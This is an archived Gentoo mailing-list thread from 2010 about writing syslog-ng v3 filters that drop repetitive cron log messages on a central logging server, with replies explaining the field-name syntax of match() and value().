Re: [gentoo-user] syslog-ng filtering
On Wednesday 17 March 2010 23:43:39 Ralph Slooten wrote: On 18 March 2010 09:40, Keith Dart ke...@dartworks.biz wrote: You can comment that out and then those annoying run-cron entries won't be logged. Yes, dropping those entries on the client side is an option, however then I have to do it for each client in the network. Doing it on the server means just once... and it's all local network, no bandwidth isn't an issue either. There are also some cron jobs I do want logged ~ things that run maybe weekly or monthly, but some run every minute and really don't need to be logged. And you still have to cater for the case where some joker sends you heaps of unwanted stuff despite you repeatedly asking him not to. Or, god forbid, you have to receive logs from Cisco kit. -- alan dot mckinnon at gmail dot com
Re: [gentoo-user] syslog-ng filtering
Ralph Slooten axll...@gmail.com a écrit :
On 17 March 2010 13:00, Roy Wright r...@wright.org wrote:
I just started with the example at:
http://en.gentoo-wiki.com/wiki/Syslog-ng
HTH,
Roy
Thanks Roy, however they have the same syntax which isn't working on my
side.
filter f_shorewall { not match(regex value(Shorewall)); }
I just tried a single rule (to make sure it wasn't my syntax):
filter killVmMessages {
not match(regex value(vmware-checker));
};
yet the (root) CMD (/root/bin/vmware-checker) messages still go through?!
log {
source(src);
source(remote);
filter(myfilter);
filter(killVmMessages);
destination(d_mysql);
};
I'm really stumped here. All other filters (non regex) works fine though,
such as facility() host().
Are you able to filter by content?
Ralph
Perhaps you could try this which is working for me and let me filter
all messages coming from iptables:
# firewall logging
destination iptables { file(/var/log/firewall/iptables.log); };
filter f_iptables { message(iptables); };
log { source(s_all); filter(f_iptables); destination(iptables); };
# all messages coming from kern
destination df_kern { file(/var/log/system/kern.log ); };
filter f_kern { facility(kern) and not filter(f_iptables); };
log { source(s_all); filter(f_kern);destination(df_kern); };
Fred
pgpP4DKTZk6Yg.pgp
Description: Signature numérique PGP
Re: [gentoo-user] syslog-ng filtering
On Wednesday 17 March 2010 01:22:59 Ralph Slooten wrote:
Hi all,
Has anyone here worked out how to filter out syslog messages using
syslog-ng v3? The old syntax doesn't work (well complains bitterly about
performance and says to use regex), and no matter what I try I cannot get
the new syntax to work :-/ I have a syslog-ng server which logs to MySQL
for multiple clients in a network, however the database just keeps growing
with irrelevant data I'd prefer to just quietly ignore on the server side.
I'm trying to filter out (exclude) messages such as:
(root) CMD (/root/bin/vmware-checker)
and
(root) CMD (test -x /usr/sbin/run-crons /usr/sbin/run-crons )
==
filter myfilter {
not match(regex value(\/usr\/sbin\/run-crons))
and not match(regex value(vmware-checker));
}
Hah! this caught me out too.
The value of value cannot be anything arbitrary - syslog-ng has no clue what
you mean. The value is a field name, either a pre-defined one, or something
you defined using a parser. The docs are ambiguous on this, it's not clear
that the supplied values are abstracts. You are truing to search for the
string regex in a field called /usr/bin/vmware-checker.
Which obviously will not work.
I think you want:
match(\/usr\/sbin\/run-crons value MESSAGE)
Note that it is MESSAGE. You want the field name, not it's dereferenced value.
log {
source(src);
source(remote);
filter(myfilter);
destination(d_mysql);
};
===
However they just keep coming through the filter (ie: not matching the not
match filter). I've tried escaping the slashes, not escaping them ... even
partial words, but I obviously am missing something somewhere.
Anyone have any ideas?
Thanks in advance,
Ralph
--
alan dot mckinnon at gmail dot com
Re: [gentoo-user] syslog-ng filtering
Fantastic, you hit the nail right on the head! Works like a charm now.
Now I'm wondering how it is you found out that it was this way and not the
other? Robert maintains the documentation for rsync which I did look at, but
with 225 pages I wasn't able to find this useful piece of information. Man
syslog-ng.conf does not explain it either, in fact I searched Google and
found several tutorials, none mentioning this ;-)
Maybe I'm the idiot here, however I thought that this was a common way of
getting rid of unwanted crud from the syslog?
Also, I just read the gentoo-wiki site page again and it says :
filter f_shorewall { not match(regex value(Shorewall)); }; #
Filter everything except regex keyword Shorewall
Surely this is the exact same mistake I made? Either that or I'm reading it
wrong
On 17 March 2010 23:39, Alan McKinnon alan.mckin...@gmail.com wrote:
On Wednesday 17 March 2010 01:22:59 Ralph Slooten wrote:
Hi all,
Has anyone here worked out how to filter out syslog messages using
syslog-ng v3? The old syntax doesn't work (well complains bitterly about
performance and says to use regex), and no matter what I try I cannot get
the new syntax to work :-/ I have a syslog-ng server which logs to MySQL
for multiple clients in a network, however the database just keeps
growing
with irrelevant data I'd prefer to just quietly ignore on the server
side.
I'm trying to filter out (exclude) messages such as:
(root) CMD (/root/bin/vmware-checker)
and
(root) CMD (test -x /usr/sbin/run-crons /usr/sbin/run-crons )
==
filter myfilter {
not match(regex value(\/usr\/sbin\/run-crons))
and not match(regex value(vmware-checker));
}
Hah! this caught me out too.
The value of value cannot be anything arbitrary - syslog-ng has no clue
what
you mean. The value is a field name, either a pre-defined one, or something
you defined using a parser. The docs are ambiguous on this, it's not clear
that the supplied values are abstracts. You are truing to search for the
string regex in a field called /usr/bin/vmware-checker.
Which obviously will not work.
I think you want:
match(\/usr\/sbin\/run-crons value MESSAGE)
Note that it is MESSAGE. You want the field name, not it's dereferenced
value.
log {
source(src);
source(remote);
filter(myfilter);
destination(d_mysql);
};
===
However they just keep coming through the filter (ie: not matching the
not
match filter). I've tried escaping the slashes, not escaping them ...
even
partial words, but I obviously am missing something somewhere.
Anyone have any ideas?
Thanks in advance,
Ralph
--
alan dot mckinnon at gmail dot com
Re: [gentoo-user] syslog-ng filtering
On Wednesday 17 March 2010 22:16:20 Ralph Slooten wrote:
Fantastic, you hit the nail right on the head! Works like a charm now.
Now I'm wondering how it is you found out that it was this way and not the
other? Robert maintains the documentation for rsync which I did look at,
but with 225 pages I wasn't able to find this useful piece of information.
Man syslog-ng.conf does not explain it either, in fact I searched Google
and found several tutorials, none mentioning this ;-)
I read documentation, man pages and google all day every day, some things just
get intuitive :-)
Seriously though, there are a few hints. Syslog-ng's config file format was
written by programmers for programmers to be understood by programmers. That
may not have been the stated intent, but it is how things turned out. The
syntax is exactly that of C, all the way down to braces and statement
terminators. So, when reading the docs, I flicked the switch that puts my
brain in C-mode.
Also, there's an example in the admin guide pdf chapter 3 Configuring syslog-
ng, something like:
match(string value(MESSAGE);
It says that MESSAGE is exactly that and must not be dereferenced with $
That was a dead give-away
Maybe I'm the idiot here, however I thought that this was a common way of
getting rid of unwanted crud from the syslog?
It IS the ideal way to pre-filter logs based on the message content. Pre
version 3, you could only match on the entire message, so the feature to be
able to search just a user-defined chunk of the log entry is a major plus
Also, I just read the gentoo-wiki site page again and it says :
filter f_shorewall { not match(regex value(Shorewall)); }; #
Filter everything except regex keyword Shorewall
Surely this is the exact same mistake I made? Either that or I'm reading it
wrong
No, you are not reading it wrong - the gentoo guide is wrong. It's a common
mistake, as the syntax looks like it's a name-value pair. To my mind, the
label value should instead be field or some synonym of that.
All the evidence indicates to me that the syntax makes sense once you get
how it works, but most folks' initial assumption about it is wrong, and the
developer never spotted his serious case of being blinded by his own
understanding.
I see Robert responded here earlier. Perhaps he'll see this post and re-look
at that section in a new light with a view to making a patch
On 17 March 2010 23:39, Alan McKinnon alan.mckin...@gmail.com wrote:
On Wednesday 17 March 2010 01:22:59 Ralph Slooten wrote:
Hi all,
Has anyone here worked out how to filter out syslog messages using
syslog-ng v3? The old syntax doesn't work (well complains bitterly
about performance and says to use regex), and no matter what I try I
cannot get the new syntax to work :-/ I have a syslog-ng server which
logs to MySQL for multiple clients in a network, however the database
just keeps
growing
with irrelevant data I'd prefer to just quietly ignore on the server
side.
I'm trying to filter out (exclude) messages such as:
(root) CMD (/root/bin/vmware-checker)
and
(root) CMD (test -x /usr/sbin/run-crons /usr/sbin/run-crons )
==
filter myfilter {
not match(regex value(\/usr\/sbin\/run-crons))
and not match(regex value(vmware-checker));
}
Hah! this caught me out too.
The value of value cannot be anything arbitrary - syslog-ng has no clue
what
you mean. The value is a field name, either a pre-defined one, or
something you defined using a parser. The docs are ambiguous on this,
it's not clear that the supplied values are abstracts. You are truing to
search for the string regex in a field called /usr/bin/vmware-checker.
Which obviously will not work.
I think you want:
match(\/usr\/sbin\/run-crons value MESSAGE)
Note that it is MESSAGE. You want the field name, not it's dereferenced
value.
log {
source(src);
source(remote);
filter(myfilter);
destination(d_mysql);
};
===
However they just keep coming through the filter (ie: not matching the
not
match filter). I've tried escaping the slashes, not escaping them ...
even
partial words, but I obviously am missing something somewhere.
Anyone have any ideas?
Thanks in advance,
Ralph
--
alan dot mckinnon at gmail dot com
--
alan dot mckinnon at gmail dot com
Re: [gentoo-user] syslog-ng filtering
=== On Thu, 03/18, Ralph Slooten wrote: === Maybe I'm the idiot here, however I thought that this was a common way of getting rid of unwanted crud from the syslog? === Probably the best method is to not send it there in the first place. For example, the script run by cron, /usr/sbin/run-crons, has this line in it: [ -x /usr/bin/logger ] /usr/bin/logger -i -p cron.info -t run-crons (`whoami`) CMD ($SCRIPT) You can comment that out and then those annoying run-cron entries won't be logged. -- Keith Dart -- -- Keith Dart ke...@dartworks.biz ===
Re: [gentoo-user] syslog-ng filtering
On 18 March 2010 09:40, Keith Dart ke...@dartworks.biz wrote: You can comment that out and then those annoying run-cron entries won't be logged. Yes, dropping those entries on the client side is an option, however then I have to do it for each client in the network. Doing it on the server means just once... and it's all local network, no bandwidth isn't an issue either. There are also some cron jobs I do want logged ~ things that run maybe weekly or monthly, but some run every minute and really don't need to be logged.
[gentoo-user] syslog-ng filtering
Hi all,
Has anyone here worked out how to filter out syslog messages using syslog-ng
v3? The old syntax doesn't work (well complains bitterly about performance
and says to use regex), and no matter what I try I cannot get the new syntax
to work :-/ I have a syslog-ng server which logs to MySQL for multiple
clients in a network, however the database just keeps growing with
irrelevant data I'd prefer to just quietly ignore on the server side.
I'm trying to filter out (exclude) messages such as:
(root) CMD (/root/bin/vmware-checker)
and
(root) CMD (test -x /usr/sbin/run-crons /usr/sbin/run-crons )
==
filter myfilter {
not match(regex value(\/usr\/sbin\/run-crons))
and not match(regex value(vmware-checker));
}
log {
source(src);
source(remote);
filter(myfilter);
destination(d_mysql);
};
===
However they just keep coming through the filter (ie: not matching the not
match filter). I've tried escaping the slashes, not escaping them ... even
partial words, but I obviously am missing something somewhere.
Anyone have any ideas?
Thanks in advance,
Ralph
Re: [gentoo-user] syslog-ng filtering
On Mar 16, 2010, at 6:22 PM, Ralph Slooten wrote: Hi all, Has anyone here worked out how to filter out syslog messages using syslog-ng v3? The old syntax doesn't work (well complains bitterly about performance and says to use regex), and no matter what I try I cannot get the new syntax to work :-/ I have a syslog-ng server which logs to MySQL for multiple clients in a network, however the database just keeps growing with irrelevant data I'd prefer to just quietly ignore on the server side. I just started with the example at: http://en.gentoo-wiki.com/wiki/Syslog-ng HTH, Roy
Re: [gentoo-user] syslog-ng filtering
On 17 March 2010 13:00, Roy Wright r...@wright.org wrote:
I just started with the example at:
http://en.gentoo-wiki.com/wiki/Syslog-ng
HTH,
Roy
Thanks Roy, however they have the same syntax which isn't working on my
side.
filter f_shorewall { not match(regex value(Shorewall)); }
I just tried a single rule (to make sure it wasn't my syntax):
filter killVmMessages {
not match(regex value(vmware-checker));
};
yet the (root) CMD (/root/bin/vmware-checker) messages still go through?!
log {
source(src);
source(remote);
filter(myfilter);
filter(killVmMessages);
destination(d_mysql);
};
I'm really stumped here. All other filters (non regex) works fine though,
such as facility() host().
Are you able to filter by content?
Ralph
